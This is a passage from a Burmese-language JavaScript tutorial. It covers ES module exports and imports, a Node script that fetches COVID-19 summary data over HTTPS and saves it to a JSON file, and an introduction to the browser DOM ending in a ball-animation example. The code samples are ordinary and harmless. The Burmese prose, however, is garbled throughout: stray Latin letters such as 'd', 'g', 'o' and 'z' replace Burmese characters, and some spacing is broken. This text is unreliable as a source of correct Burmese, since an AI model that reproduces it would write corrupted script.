လုပ်dဆာင်ချက်တစ်ခုထက်ပိုပြပီး Export dပးချင်ရင်လည်း အခုလုိ dပးနိုင်ပါတယ်။

 JavaScript 
export const PI = 3.14
export function add(a, b) {

return a + b
}

export function div(a, b) {
if(b === 0) return "Cannot divided by zero"
else return a / b

}
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ဒါမှမဟုတ် deကညာစဉ်မှာ တစ်ခါထဲ Export မလုပ်zဲ dနာက်မှလုပ်လုိ့လည်း ရပါတယ်။

const PI = 3.14
function add(a, b) {

return a + b
}

function div(a, b) {
if(b === 0) return "Cannot divided by zero"
else return a / b

}

export { PI, add, div }

ဒီလုိ လုပ်dဆာင်ချက်တစ်ခုထက်ပုိပြပီး dပးထားတဲ့ လုပ်dဆာင်ချက်dတွကို Destructuring ပံုစံdရးဟန်မျ ို း
နဲ့ Import gပန်လုပ်ပြပီး သံုးလ့ုိရပါတယ်။ ဒီလုိပါ – 

 JavaScript 
import { PI, div } from "./math.mjs"
console.log( div(1, 2) )    // 0.5
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dနာက်ပုိင်းမှာdတာ့ dနရာတိုင်းမှာ ES Module dရးထံုးကို အသံုးgပုeကပါလိမ့်မယ်။ လက်ရှိအချနိ်ထိdတာ့
Node ပdရာZျက်dတွမှာ CommonJS Module dရးထံုးကို သ့ူdနရာနဲ့သူ ဆက်သံုးeကရဦးမှာပါ။

ဒီ  Module  လုပ်dဆာင်ချက်ဟာ  အdတာ်dလး  အdရးပါတဲ့  လုပ်dဆာင်ချက်တစ်ခုပါ။  အရင်ကဆိုရင်
JavaScript  ကုဒ်oုိင်dတွ ပူးတွဲအသံုးgပုချင်ရင်  HTML Document  ထဲမှာ  <script> Element  dတွနဲ့
တန်းစီချတိ်ဆက်ပြပီး သုံးခဲ့eကရပါတယ်။ JavaScript ကုဒ်ကdန တgခား JavaScript ကုဒ်oုိင်ကို ချတိ်ဆက်
အသံုးgပုdရးသားလ့ုိ လံုးဝမရခဲ့တာပါ။

အခုdတာ့  Module  dရးထံုးdတွရဲ့  အကူအညီနဲ့  ကိုယ်တိုင်dရးသားတဲ့  ကုဒ်dတွကို  စနစ်ကျdအာင် ခွဲgခား
ချတိ်ဆက်dရးသားနိုင်သွားမှာ  goစ်သလုိ၊  အများdရးသား  goန့်dဝထားတဲ့  Library  dတွ  Module  dတွ
Framework dတွကို ရယူdပါင်းစပ် အသံုးgပုရတာ အများကြကီးပုိအဆင်dgပသွားပြပီgoစ်ပါတယ်။

Practical Sample
ဒီdနရာမှာလည်း လက်dတွ့နမူနာdလးတစ်ခုdလာက် ထည့်dပးချင်ပါတယ်။ ပြပီးခဲ့တဲ့  Promise  အခန်းမှာ
Covid-19 နဲ့ပက်သက်တဲ့ အချက်အလက်dတွ ရယူပံုကို doာ်gပခဲ့ပါတယ်။ Browser ထဲမှာ အလုပ်လုပ်တဲ့
ကုဒ်နဲ့ doာ်gပခဲ့တာပါ။ Node နဲ့လည်း အ့ဲဒီအချက်အလက်dတွကို ရယူeကည့်ချင်ပါတယ်။

Node မှာ fetch() လုပ်dဆာင်ချက် ပါဝင်gခင်းမရှိပါzူး။ အသံုးgပုလုိရင် Third-party Module အdနနဲ့
ထပ်ထည့်dပးရပါတယ်။ ဒါdပမယ့် Node မှာ အင်တာနက်dပါ်က အချက်အလက်dတွကို ရယူအလုပ်လုပ်
dပးနိုင်တဲ့ HTTP နဲ့ HTTPS Module တို့ ပါဝင်ပါတယ်။ ဒါdeကာင့် fetch() Module ကို ထပ်ထည့်မdန
dတာ့zဲ သ့ူမှာ ပါပြပီးသား  HTTPS Module  ကို  အသံုးgပုသွားပါမယ်။ ပြပီးတဲ့အခါ  Node  ရဲ့  File System
Module  ကိုသုံးပြပီး  ရလာတဲ့အချက်အလက်dတွကို  oုိင်တစ်ခုအdနနဲ့  သိမ်းdပးလုိက်မှာပါ  goစ်ပါတယ်။
get-covid-info.js ဆိုတဲ့oုိင်တစ်ခုနဲ့ ဒီကုဒ်ကို dရးပြပီးစမ်းeကည့်ပါ။
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 JavaScript 
const fs = require("fs")
const https = require("https")
https.get("https://api.covid19api.com/summary", res => {
    let data = ''

    res.on('data', chunk => { 
        data += chunk
    })

    res.on('end', () => {
        fs.writeFile('covid-info.json', data, () => {
            console.log("Save to file: Completed")
        })
    })
})

ပထမဆုံး https Module နဲ့ fs Module တို့ကို Import လုပ်dပးထားပါတယ်။ Standard Module dတွ
မ့ုိလ့ုိ Path လမ်းdeကာင်းdတွzာdတွ dပးစရာမလုိzဲ Module အမည်နဲ့တင် ချတိ်လ့ုိရတာကို သတိgပုပါ။
https ရဲ့  get() Method  အတွက်  Argument  နှစ်ခုdပးရပါတယ်။ ပထမတစ်ခုက  Data  ရယူလုိတဲ့
URL  goစ်ပြပီး  ဒုတိယ  Argument  ကdတာ့  Callback Function  ပါ။  Data  ရယူလ့ုိ ပြပီးတဲ့အခါ  Callback
Function အလုပ်လုပ်သွားမှာပါ။

Callback Function  ထဲမှာ  res.on('data') နဲ့  Data  dတွလက်ခံရရှိရင် zာလုပ်ရမလဲ သတ်မှတ်
dပးရပါတယ်။  သတိgပုရမှာက၊  get() Method  က  Data  dတွကို  တစ်ခါထဲ  ရိှသမျှအကုန်ယူdပးတာ
မဟုတ်ပါzူး။ Data dတွကို အပိုင်းလုိက်၊ အပုိင်းလုိက်၊ ပုိင်းပြပီး ရယူdပးမှာgoစ်လ့ုိ တစ်ပုိင်းရရင်တစ်ခါ +=
နဲ့  ကြကိုdeကညာထားတဲ့  Variable  ထဲကို  ထပ်တိုးပြပီး  ထည့်ထည့်dပးသွားရတာပါ။  ပြပီးတဲ့ခါ
res.on('end') နဲ့ Data dတွယူလို့ ကုန်ပြပီဆိုdတာ့မှ dနာက်ဆုံးရလဒ်ကို covid-info.json ဆို
တဲ့ oုိင်ထဲမှာ သိမ်းdပးလိုက်တာ goစ်ပါတယ်။

oုိင်အdနနဲ့ သိမ်းo့ုိအတွက် fs.writeFile() Method ကိုသုံးထားပြပီး သိမ်းလုိတဲ့ File Name နဲ့ အထဲ
မှာ ထည့်dပးရမယ့် Data တို့ကို  Argument အdနနဲ့dပးရပါတယ်။ dနာက်ဆုံးကdန သိမ်းပြပီးတဲ့အခါ လုပ်
ရမယ့်  Callback Function  ကိုdပးရပါတယ်။ ဒီနည်းနဲ့  HTTPS  ကိုသံုးပြပီး  Data  dတွရယူတယ်၊ ရလာတဲ့
Data dတွကို oုိင်တစ်ခုနဲ့ သိမ်းလုိက်တယ်ဆိုတဲ့ လုပ်dဆာင်ချက် ရသွားပါတယ်။ စမ်းeကည့်လ့ုိရပါတယ်။
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node get-covid-info.js

လက်dတွ့စမ်းeကည့်တဲ့အခါ  Server  zက်က  Down  dနတာတို့၊  Data  ရယူတာ အကြကိမ်dရgပည့်သွားလို့
ထပ်မရdတာ့တာတို့၊ File Permission gပဿနာရှိdနတာတို့လုိ gပဿနာdလးdတွ ရှိနိုင်ပါတယ်။ ဒါdတွကို
အdgoရှာပံု ရှာနည်းdတွထည့်dgပာမထားလို့  စမ်းeကည့်ရတာ အဆင်မdgပရင် စိတ်မပျက်ပါနဲ့။ ရိုးရိုးနမူနာ
dတခွျည်းပဲ စမ်းdနရတာ ပျင်းစရာgoစ်dနမှာစိုးလ့ုိသာ လက်dတွ့ကျတဲ့ နမူနာတစ်ခုကို ထည့်doာ်gပလုိက်
တာပါ။ တစ်ကယ်dတာ့ ဒီကုဒ်ကလည်း နည်းနည်းအဆင့်dကျာ်ပြပီး doာ်gပလုိက်တဲ့ကုဒ်လ့ုိ ဆိုနိုင်ပါတယ်။ 

လက်စနဲ့  သိမ်းထားတဲ့oုိင်ကdန  gပန်ယူပံုကိုလည်း  တစ်ခါထဲdgပာလိုက်ချင်ပါတယ်။  show-covid-
info.js အမည်နဲ့ အခုလုိdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
const fs = require("fs")
fs.readFile('covid-info.json', (err, data) => {
    if(err) {
        console.log(err)
    } else {
        const result = JSON.parse(data)
        const global = result.Global
        const allCountries = result.Countries
        const myanmar = allCountries.find(c => c.Country==="Myanmar")
        console.log("Global:", global, "Myanmar:", myanmar)
    }
})

fs.readFile() Method  ကိုသုံးပြပီး  dစာdစာကသိမ်းထားတဲ့oုိင်ကို  oတ်ယူလုိက်တာပါ။  Argument
အdနနဲ့  File  Name  နဲ့  Callback  တို့ကိုdပးရပါတယ်။  Callback  Function  က  err နဲ့  data ဆိုတဲ့
Argument  နှစ်ခုကို  လက်ခံပါတယ်။ အdeကာင်းအမျ ို းမျ ို းdeကာင့် oုိင်ကိုoတ်လ့ုိမရရင်  err ထဲမှာ  Error
Message ရိှdနမှာgoစ်ပြပီး oတ်လို့ရရင် data ထဲမှာ File Content dတွ ရှိdနမှာပါ။

ဒါdeကာင့် err ရှိမရှိစစ်ပြပီး err မရှိdတာ့မှ data ကို JSON.parse() နဲ့ JavaScript Object dgပာင်း
dပးလုိက်တာပါ။ ကျန်အဆင့်dတွရဲ့ အဓိပ္ပါယ်ကိုdတာ့ dရှ့မှာတစ်ခါ dရးခဲ့oူးပြပီးသားမို့လ့ုိ ထပ်dgပာစရာ မ
လုိdတာ့zူးလ့ုိထင်ပါတယ်။ လက်dတွ့စမ်းeကည့်လုိက်ပါ။
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node show-covid-info.js

Node  မှာအခုလုိ  File  System  နဲ့  Network  ပုိင်းစီမံတဲ့  Module  dတွအပါအဝင်  တgခား  အသုံးဝင်တဲ့
Standard Module dတွ တစ်ခါထဲ ပါဝင်ပါdသးတယ်။ စတိ်ဝင်စားရင် ဒီမှာ dလ့လာeကည့်နိုင်ပါတယ်။

https://nodejs.org/api

https://nodejs.org/api
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အခန်း (၂၂) –  Document Object Model – DOM

Document Object Model (DOM) ဆိုတာ JavaScript   ကို အသံုးgပုပြပီး   HTML Document   dတွကို စီမံလ့ုိ  
ရdအာင် တီထွင်ထားတဲ့ နည်းပညာ goစ်ပါတယ်။  JavaScript  ကို မူလအစကတည်းက Browser  ထဲမှာ
အလုပ်လုပ်တဲ့ Client-side Language တစ်ခုအdနနဲ့ တီထွင်ခဲ့eကတာမ့ုိလ့ုိ JavaScript နဲ့ DOM ကို ခွဲလ့ုိမ
ရပါzူး။ DOM ဆိုတာ JavaScript ရဲ့ အdရးအကြကီးဆုံး အခန်းကဏ္ဍတစ်ခု goစ်ပါတယ်။

ကdန့dခတ်မှာ  DOM Manipulation  dခါ်  HTML Element  dတွစီမံတဲ့အလုပ်dတွ  လုပ်oို့အတွက်  ရိုးရိုး
JavaScript ကုဒ်dတွ အစအဆုံး ကိုယ်တိုင်dရးoို့ လုိချင်မှ လုိပါလိမ့်မယ်။ jQuery တို့ React တို့ Vuejs တို့
လုိ နည်းပညာdတရွဲ့ အကူအညီနဲ့ တစ်ဆင့်ခံ dဆာင်ရွက်eကoုိ့ များပါတယ်။ 

ဒီdနရာမှာ အdရးကြကီးတာdလးတစ်ခုကို သတိgပုပါ။ dလ့လာနည်းမမှန်ရင် အပြမဲမgပတ်dgပာင်းလဲထွက်dပါ်
dနတဲ့  နည်းပညာသစ်dတွ  dနာက်ကို  အပြမဲမgပတ်  လုိက်dနရတာ  ရင်dမာစရာကြကီး  goစ်dနပါလိမ့်မယ်။
jQuery  dပါ်လာတယ်၊  dကာင်းတယ်ဆိုလ့ုိ  jQuery  dလ့လာလုိက်တယ်။  dနာက်dတာ့မှ  React  က  ပုိ
dကာင်းတယ် ဆိုလ့ုိ React ကို အစအဆုံး gပန်dgပာင်း dလ့လာရgပန်တယ်။ စသည်goင့် နည်းပညာသစ်တစ်
ခုdပါ်တိုင်း တစ်ခါ အစအဆုံး eကက်တdူရွးနှုတ်တိုက် ဆိုသလုိ ၏-သည် မdရွး dလ့လာdနရတာ မလွယ်ပါ
zူး။  ဒါdပမယ့်  သိသင့်သိထုိက်တဲ့  အdgခခံdတွ  deကညက်ထားသူအတွက်  ထပ်ဆင့်နည်းပညာdတွ
zယ်dလာက်dgပာင်းdgပာင်း ရင်းgမစ်ကိုနားလည်ပြပီး goစ်လ့ုိ တစ်ခုကdန dနာက်တစ်ခုကို အလွယ်တစ်ကူ
ကူးdgပာင်း dလ့လာ အသုံးချနိုင်ပါလိမ့်မယ်။ နည်းပညာသစ်မ့ုိလ့ုိ အသစ်ထပ် dလ့လာရတာကို dရာှင်လို့မ
ရနိုင်dပမယ့် အများကြကီး လွယ်ကူgမန်ဆန်သွားမှာgoစ်သလုိ အ့ဲဒီလို dလ့လာရလ့ုိလည်း ရင်dမာစရာ မgoစ်
dတာ့တဲ့အgပင် စိတ်ဝင်စား dပျာ်ရ¢င်စရာdတာင် goစ်dနနိုင်ပါdသးတယ်။ 
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ဒါdeကာင့်  DOM  နဲ့ပက်သက်တဲ့  အdeကာင်းအရာdတွကို  doာ်gပတဲ့အခါ၊  Browser  ကိုအdgခခံoန်တီးတဲ့
ပdရာZျက်အားလံုးရဲ့  အdgခခံရင်းgမစ်တစ်ခုအdနနဲ့  မgoစ်မdနသိထားသင့်တဲ့အတွက်  doာ်gပgခင်းgoစ်ပါ
တယ်။ တစ်ချ ို ့ပdရာZျက်dတွမှာ ဒီနည်းdတွကို တိုက်ရိုက် သံုးgoစ်ပါလိမ့်မယ်။ တစ်ချ ို ့ပdရာZျက်dတွမှာ
တစ်ဆင့်ခံ Framework တစ်ခုခုနဲ့  သံုးgoစ်ပါလိမ့်မယ်။ သုံးgခင်း/မသံုးgခင်း က အဓိကမဟုတ်ပါzူး။ အဓိက
ကdတာ့  အdgခခံရင်းgမစ်  နည်းပညာတစ်ခုအdနနဲ့  သိထားgခင်းအားgoင့်  dရရှည်မှာ  အကျ ို းများမှာမ့ုိလ့ုိ
dလ့လာgခင်းgoစ်ပါတယ်။

Document Object Model
Node မှာ Standard Module dတရွှိသလိုပဲ Browser မှာလည်း Standard Object dတရွှိပါတယ်။ အဓိက
အကျဆုံး သံုးခုကdတာ့ navigator, window နဲ့ document ဆိုတဲ့ Object သံုးခုပါ။

navigator Object မှာ Browser ကြကီးတစ်ခုလံုးနဲ့ သက်ဆိုင်တဲ့ Property dတွ Method dတွ၊ System
နဲ့ပက်သက်တဲ့  Property dတွ Method dတွ ပါဝင်ပါတယ်။ ဥပမာ Browser Version ကိုသိချင်ရင် User
Agent Property  ကို သံုးနိုင်တယ်။  navigator.userAgent ဆိုရင်ရပါတယ်။ လက်ရှိ  အင်တာနက်
ဆက်သွယ်ထားgခင်း ရိှမရှိ၊  zက်ထရီ ရှိမရှိ၊  အ့ဲဒါမျ ို းdတွ သိချင်ရင်လည်း  navigator Object  ကdန
တစ်ဆင့်  ရယူအသံုးgပုနိုင်ပါတယ်။  ဒီdနရာမှာ  အဓိကထားdgပာမယ့်အdeကာင်းအရာdတွdတာ့  မဟုတ်
dသးပါzူး။ dနာင်လိုအပ်လာရင် navigator Object နဲ့ပက်သက်တဲ့ လုပ်dဆာင်ချက်dတွကို ဒီလိပ်စာ
မှာ dလ့လာလ့ုိ ရနိုင်ပါတယ်။

https://developer.mozilla.org/en-US/docs/Web/API/Navigator

window Object မှာdတာ့ လကရ်ှိoွင့်ထားတဲ့ Tab နဲ့ သက်ဆိုင်တဲ့ Property dတွ Method dတွ ပါဝင်ပါ
တယ်။ အရင်က Tab Browsing ဆိုတာ မရှိပါzူး။  Web Page အသစ်တစ်ခုကို ထပ်oွင့်ချင်ရင် Browser
Window  အသစ်တစ်ခုနဲ့ပဲ  oွင့်ရတာပါ။  Window  ပဲ  ရိှခဲ့လို့  Object  အမည်က  tab Object  မဟုတ်zဲ
window Object goစ်dနတာပါ။ ဒါdeကာင့် window Object ဆိုတာ လက်ရှိoွင့်ထားတဲ့ Tab နဲ့ သက်ဆိုင်
တဲ့ Object goစ်တယ်လို့ မှတ်ထားရမှာပါ။ Window ရဲ့ Size တို့၊ Cursor Position တို့ လက်ရှိ URL တို့လုိ
တန်oုိးdတွဟာ  Property  အdနနဲ့  ရိှdနပါတယ်။ ဥပမာ  window.location.href ဆိရုင်  လက်ရှိ
oွင့်ထားတဲ့  URL  ကို  ရပါတယ်။  ဒါလည်းပဲ  ဒီdနရာမှာ  အဓိကထည့်သွင်းdလ့လာမယ့်  လုပ်dဆာင်ချက်

https://developer.mozilla.org/en-US/docs/Web/API/Navigator
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မဟုတ်dသးပါzူး။ dနာက်လုိအပ်ရင် ဒီလိပ်စာမှာ dလ့လာနိုင်ပါတယ်။

https://developer.mozilla.org/en-US/docs/Web/API/Window

ထူးgခားချက်တစ်ခုကိုdတာ့  ထည့်dgပာgပချင်ပါတယ်။  Browser  dတွက  window Object  ရဲ့  Property
dတွ  Method  dတွကို  အသံုးgပုလိုရင်  window Object  တစ်ဆင့်မခံzဲ  တိုက်ရိုက်အသုံးgပုလ့ုိရdအာင်
စီစဉ်dပးထားပါတယ်။ dစာdစာက နမူနာdgပာခဲ့တဲ့  window.location.href ကို တစ်ကယ်သုံးရင်
location.href လ့ုိ သုံးနိုင်ပါတယ်။ dရှ့ က window မထည့်လည်းရပါတယ်။ ရလဒ်အတူတူပဲ goစ်မှာ
ပါ။  dနာက်ဥပမာ  တစ်ခုအdနနဲ့  window.alert လ့ုိdခါ်တဲ့  Message  Box  တစ်ခုdoာ်gပdပးနိုင်တဲ့
လုပ်dဆာင်ချက် ရိှပါတယ်။ လက်dတွ့သံုးတဲ့အခါ နှစ်မျ ို းသံုးလ့ုိရပါတယ်။ ဒီလုိပါ – 

 JavaScript 
window.alert("Hello DOM")
alert("Hello DOM")

ဒီထူးgခားချက်dလးကို  မှတ်ထားပါ။ တစ်ကယ်dတာ့  Browser JavaScript  မှာ  Variable  dတွ  Function
dတွdeကညာလုိက်ရင်  deကညာလုိက်တဲ့  Variable  dတွ  Function  dတွဟာ  window Object  ရဲ့
Property dတွ Method dတွgoစ်သွားတာပါ။

https://developer.mozilla.org/en-US/docs/Web/API/Window
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 JavaScript 
var name = "Alice"
console.log(name)    // Alice
console.log(window.name)    // Alice
function add(a, b) {
    return a + b
}

console.log(add(1, 2))    // 3
console.log(window.add(1, 2))    // 3

ဒါdeကာင့်  မူလရှိdနတဲ့  Global  Function  dတွdရာ၊  ကိုယ်deကညာလုိက်တဲ့  Global  Variable  dတွ
Function dတွရာ အားလံုးက window ရဲ့ Property dတွ Method dတွ goစ်eကတယ်လ့ုိ မှတ်ရမှာပါ။

document Object ကdတာ့ အdရးအကြကီးဆုံးပါပဲ။ အခုဒီdနရာမှာ document Object နဲ့ပက်သက်တဲ့
အdeကာင်းအရာdတွကို  အဓိကထား  dလ့လာချင်တာပါ။  document Object  ဟာ  လက်ရှိ  HTML
Document  ကို ရည်ညွှန်းပြပီး  Document  ထဲမှာပါတဲ့  Element  နဲ့  Content  dတွကို စီမံနိုင်တဲ့  Property
dတွ Method dတွ စုစည်း ပါဝင်ပါတယ်။ နမူနာအdနနဲ့ ဒီ HTML Structure ကိုeကည့်ပါ။

 HTML 
<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
</head>
<body>
    <h1>Heading</h1>
    <p>
        Some paragraph content
        <a href="#">A Link</a>
    </p>
</body>
</html>

ပါဝင်တဲ့  Element dတွ Content dတွကို  DOM နည်းပညာက Object Tree အgoစ်dgပာင်းပြပီး စီမံသွားမှာ
goစ်ပါတယ်။ oဲွ့စည်းပံုက ဒီလိုgoစ်မှာပါ – 
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doctype
html
├── head
│   └── title
└── body
    ├── h1
    └── p
        ├── Text
        └── a

ဒါဟာ  Document Object Model (DOM)  ပါပဲ။  HTML Element    dတွကို  အgပန်အလှန် ဆက်စပ်dနတဲ့  
Object Tree   တစ်ခုကဲ့သ့ုိ မှတ်ယူပြပီး စီမံdပးနိုင်တဲ့ စနစ်ပါ  ။ HTML Element dတွဟာ Object Tree ကြကီး
တစ်ခုထဲက Node Object dတွgoစ်သွားeကတာပါ။ အdခါ်အdဝါ် (၆) မျ ို းမှတ်ထားoို့ လုိပါလိမ့်မယ်။

• Root Node
• Element Node
• Text Node
• Child Node
• Parent Node
• Decedent Node

- နမူနာအရ doctype နဲ့ html တို့ဟာ ပင်မ Root Node dတွပါ။ သူတို့ကရင်းgမစ်ပါပဲ။ သူတို့အdပါ်မှာ
တgခား Node dတွမရှိdတာ့ပါzူး။ 

- ဒီ Object Tree မှာ ပါဝင်တဲ့ Node တစ်ခုချင်းစီကို Element Node လ့ုိdခါ်ပါတယ်။ 

- html Node dအာက်မှာ head နဲ့ body ဆိုတဲ့ Child Node dတွ ရှိeကပါတယ်။ အgပန်အလှန်အားgoင့်
head Node ရဲ့ Parent Node က html Node goစ်တယ်လို့ dgပာရပါတယ်။ 

- လက်ရှိ  body Node မှာ  h1 နဲ့  p ဆိုတဲ့  Child Node နှစ်ခု ထပ်ဆင့်ရှိပါdသးတယ်။ h1 နဲ့  p တို့ဟာ
html ရဲ့  Child Node  dတွ မဟုတ်eကပါzူး။ ဒါdပမယ့် သူတို့ကို  html ရဲ့  Decedent Node လ့ုိdခါ်ပါ
တယ်။ html ရဲ့ Child မဟုတ်dပမယ့် သူdအာက်မှာပဲ ထပ်ဆင့်ရှိdနတဲ့ Node dတွမ့ုိလို့ပါ။
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- အdပါ်က နမူနာ HTML Structure ကို gပန်eကည့်ပါ။ <p> Element အတွင်းမှာ စာတစ်ချ ို ့ပါဝင်ပါတယ်။
အ့ဲဒီလုိစာdတွကို Text Node လ့ုိdခါ်တာပါ။ ဒါdeကာင့် p ရဲ့ Child Node အdနနဲ့ Text Node တစ်ခုနဲ့ a
Element Node တို့ ရှိdနeကတာပါ။

Node  တစ်ခုချင်းစီကို  Object  dတွလ့ုိ  မှတ်ယူနိုင်ပါတယ်။  gပည့်gပည့်စုံစုံ  dgပာမယ်ဆိုရင်dတာ့  HTML
Element Object  နဲ့  DOM Node Object  နှစ်မျ ို းကdန dပါင်းစပ် ဆင်းသက်လာတဲ့  Object  dတွပါ။ ဒါ
deကာင့် အ့ဲဒီ Node dတွမှာ Property dတွ Method dတရွှိeကပါတယ်။ ဒီ Property dတွ Method dတွထဲ
က dရးွချယ်မှတ်သားသင့်တာdတွကို ခဏနေdနdတာ့ စုစည်းdoာ်gပdပးပါမယ်။ 

အရင်dလ့လာeကရမှာကdတာ့ လုိချင်တဲ့  Node  ကို  DOM Tree  ကdန dရွးယူတဲ့နည်း goစ်ပါတယ်။ ဒီလို
dရးွယူနိုင်o့ုိအတွက် Selector Method dတွကို သံုးရပါတယ်။ အရင်ကdတာ့ အခုလုိ Method dတွကို သံုး
eကပါတယ်။

• document.getElementById()
• document.getElementsByTagName()
• document.getElementsByClassName()

Element dတွကို id နဲ့dရွးယူနိုင်သလုိ Element Name နဲ့လည်း dရွးယူနိုင်မှာပါ။ class နဲ့လည်း dရးွ
ယူနိုင်ပါတယ်။ အခုdနာက်ပုိင်းမှာdတာ့ ဒီ Method dတွထက်ပုိdကာင်းတဲ့ Method dတွ ရိှdနပါပြပီ။

• document.querySelector()
• document.querySelectorAll()

ဒီ  Method  dတွကdတာ့  CSS Selector  dရးထံုးအတိုင်း အသုံးgပုပြပီး  Element  dတွကို dရွးယူdပးနိုင်တဲ့
Method dတွပါ။ CSS မှာ Element Selector, Class Selector, ID Selector, Decedent Selector, Child
Selector, Attribute Selector စသည်goင့် စုံdနdအာင်ရှိသလုိ၊ အ့ဲဒီ Selector dတွအတိုင်း JavaScript မှာ
လည်း အကုန်အသံုးgပုနိုင်မှာ goစ်ပါတယ်။ querySelector() Method က Element  တစ်ခုကို dရွး
ယူo့ုိ သံုးနိုင်ပြပီး querySelectorAll() ကိုdတာ့ dပးလုိက်တဲ့ Selector နဲ့ကိုက်ညီတဲ့ Element List
ကို ရယူo့ုိ သံုးနိုင်ပါတယ်။
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Element  တစ်ခုကို dရွးယူပြပီးdနာက်မှာ  DOM Property  dတွ  Method  dတွကိုသံုးပြပီး အ့ဲဒီ  Element  ကို
စီမံလ့ုိရပြပီ  goစ်ပါတယ်။  အသံုးများမယ့်  Property  dတွ  Method  dတွအdeကာင်း  မdgပာခင်၊  ပုိပြပီးdတာ့
စိတ်ဝင်စားo့ုိ dကာင်းသွားdအာင် လက်dတွ့နမူနာdလးတစ်ခုdလာက် အရင်လုပ်eကည့်လုိက်ချင်ပါတယ်။

HTML Document တစ်ခုတည်dဆာက်ပြပီး ဒီကုဒ်ကို ကူးdရးလုိက်ပါ။

 HTML & CSS 
<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
    <style>
        #box {
            position: relative;
            width: 800px;
            height: 30px;
            padding: 10px;
            background: skyblue;
            border: 5px solid darkblue;
        }

        #ball {
            position: absolute;
            left: 0;
            top: 0;
            width: 30px;
            height: 30px;
            border-radius: 30px;
            background-color: red;
        }
    </style>
</head>
<body>
    <div id="box">
        <div id="ball"></div>
    </div>
</body>
</html>
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HTML/CSS  dတွအdeကာင်းကို  သိရှိပြပီးသားgoစ်တယ်လ့ုိ  သdzာထားတဲ့အတွက်  ဒီကုဒ်ရဲ့  အdeကာင်းကို
ရှင်းgပမdနdတာ့ပါzူး။  ရှင်းdနမှ  ရှုပ်dနပါdသးတယ်။  dရးထားတဲ့  ကုဒ်ကိုသာ  dလ့လာeကည့်လုိက်ပါ။
ရလဒ်ကdတာ့ အခုလုိရရှိမှာgoစ်ပါတယ်။

လုပ်eကည့်ချင်တာက  id မှာ  ball လ့ုိdပးထားတဲ့  Element  dလး  dရွ့လျှားdနတဲ့  Animation
လုပ်dဆာင်ချက်dလး ရdအာင် JavaScript  နဲ့ dရးeကည့်ချင်တာပါ။ သိပ်မခက်ပါzူး။ လက်ရှိdရးထားတဲ့
CSS  ကုဒ်ကိုdလ့လာeကည့်လိုက်ရင်  #ball Element  အတွက်  position: absolute နဲ့  top:
0; left: 0 လ့ုိ သတ်မှတ်dပးထားတာကို သတိgပုပါ။ JavaScript ကုဒ်dလးတစ်ချ ို ့ စdရးeကပါမယ်။
ဒီကုဒ်ကို ကို HTML Structure ရဲ့dအာက်နား </body> မပိတ်ခင်dလးမှာ dရးထည့်dပးလုိက်ပါ။

 HTML & JavaScript 
<script>
    let ball = document.querySelector("#ball")
    ball.style.left = "100px"
</script>

querySelector() ကိုသံုးပြပီး  ID Selector  နဲ့  #ball Element  ကို  dရးွယူလုိက်ပါတယ်။ ရလဒ်ကို
ball Variable  ထဲမှာ ထည့်လုိက်ပါတယ်။  Variable  ထဲကိုdရာကရ်ှိသွားမှာ  Element Reference  dခါ်
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အညွှန်းတန်oုိးတစ်ခုgoစ်ပါတယ်။ ဒီသdzာကို Variable က dရးွထားတဲ့ Element ကို dထာက်ထားလုိက်
တာ  လ့ုိ  gမင်eကည့်နိုင်ပါတယ်။  ဒါdeကာင့်  Variable  dပါ်မှာgပုလုိက်လုိက်တဲ့  အdgပာင်းအလဲdတွဟာ
Element dပါ်မှာလည်း သက်dရာက်သွားမှာgoစ်ပါတယ်။

ပထမဦးဆုံး  DOM  Property  အdနနဲ့  style Property  ကို  အသံုးgပုထားတာကို  dတွ့ရနိုင်ပါတယ်။
style Property  နဲ့အတူ  CSS  Property  dတွထဲက  နှစ်သက်ရာကို  ပူးတွဲအသံုးgပုနိုင်ပါတယ်။
background, border, color, textAlign, margin, paddingTop စသည်goင့်ပါ။ ဒီ
dနရာမှာ dရးဟန်ကို  သတိgပုပါ။  CSS  dတွdရးတဲ့အခါ  text-align, padding-top စသည်goင့်
Dash  dလးdတွသံုးပြပီး dရးeကပါတယ်။  JavaScript  ကုဒ်ထဲမှာ  Dash  dတွကိုသံုးခွင့်မရှိ  Camel Case  နဲ့
dgပာင်းdရးdပးရပါတယ်။ text-align ဆိရုင် textAlign၊ padding-top ဆိုရင် paddingTop
စသည်goင့် dgပာင်းdရးdပးရပါတယ်။

အကယ်၍ CSS dရးထံုးအတိုင်းပဲ dရးချင်တယ်ဆိုရင်လည်း ရdတာ့ရပါတယ်။ Object Property  dရးထံုး
အစား Array Index dရးထံုးကိုသုံးနိုင်ပါတယ်။ ဥပမာ ဒီလုိပါ –

 Pseudocode 
element.style["padding-top"] = "10px"
element.style["text-align"] = "center"

နမူနာမှာdတာ့  Object  Property  dရးထံုးကိုပဲသံုးပြပီးdတာ့   ball.style.left = 100px လ့ုိ
dgပာထားတဲ့အတွက် #ball Element ရဲ့  CSS Style left ရဲ့တန်oုိး 100px goစ်သွားပါပြပီ။ မူလ CSS
ကုဒ်ထဲမှာ  0  လ့ုိdgပာထားdပမယ့် ဒီ  JavaScript  ကုဒ်အလုပ်လုပ်သွားတဲ့အခါ တန်oုိးdgပာင်းသွားပါပြပီ။ ဒါ
deကာင့် စမ်းeကည့်လုိက်ရင် ရလဒ်ကို အခုလုိdတွ့gမင်ရမှာပါ။
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#ball Element  ဟာ  left: 100px မှာdနရာယူdoာ်gပdနgခင်းပဲgoစ်ပါတယ်။  ဒီ  Element  dလး
တစ်goည်းgoည်းနဲ့  dရွ့သွားတဲ့  လုပ်dဆာင်ချက်dလး  ရo့ုိအတွက်  JavaScript  ကုဒ်ကို  ဒီလုိgပင်dရး
dပးလုိက်ပါမယ်။

 HTML & JavaScript 
<script>
    let ball = document.querySelector("#ball")
    
    let left = 0
    
    setInterval(() => {
        left += 1
        if(left > 790) left = 0
        ball.style.left = `${left}px`
    }, 10)
</script>

left Variable  တစ်ခုdeကညာထားပြပီး  တန်oုိးကို  0  လ့ုိသတ်မှတ်ထားပါတယ်။  ပြပီးခဲ့တဲ့အခန်းdတွမှာ
setTimeout() Function  အdeကာင်းကို  dလ့လာoူးခဲ့eကပါတယ်။  သတ်မှတ်ထားတဲ့အချနိ်  dရာက်
dတာ့မှ  Callback  Function  ကို  အလုပ်လုပ်dပးတဲ့  Function  ပါ။  အခုတစ်ခါ  setInterval()
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Function  ကို  သံုးgပထားပါတယ်။  setInterval() ကလည်း  setTimeout() လုိပါပဲ။ သတ်မှတ်
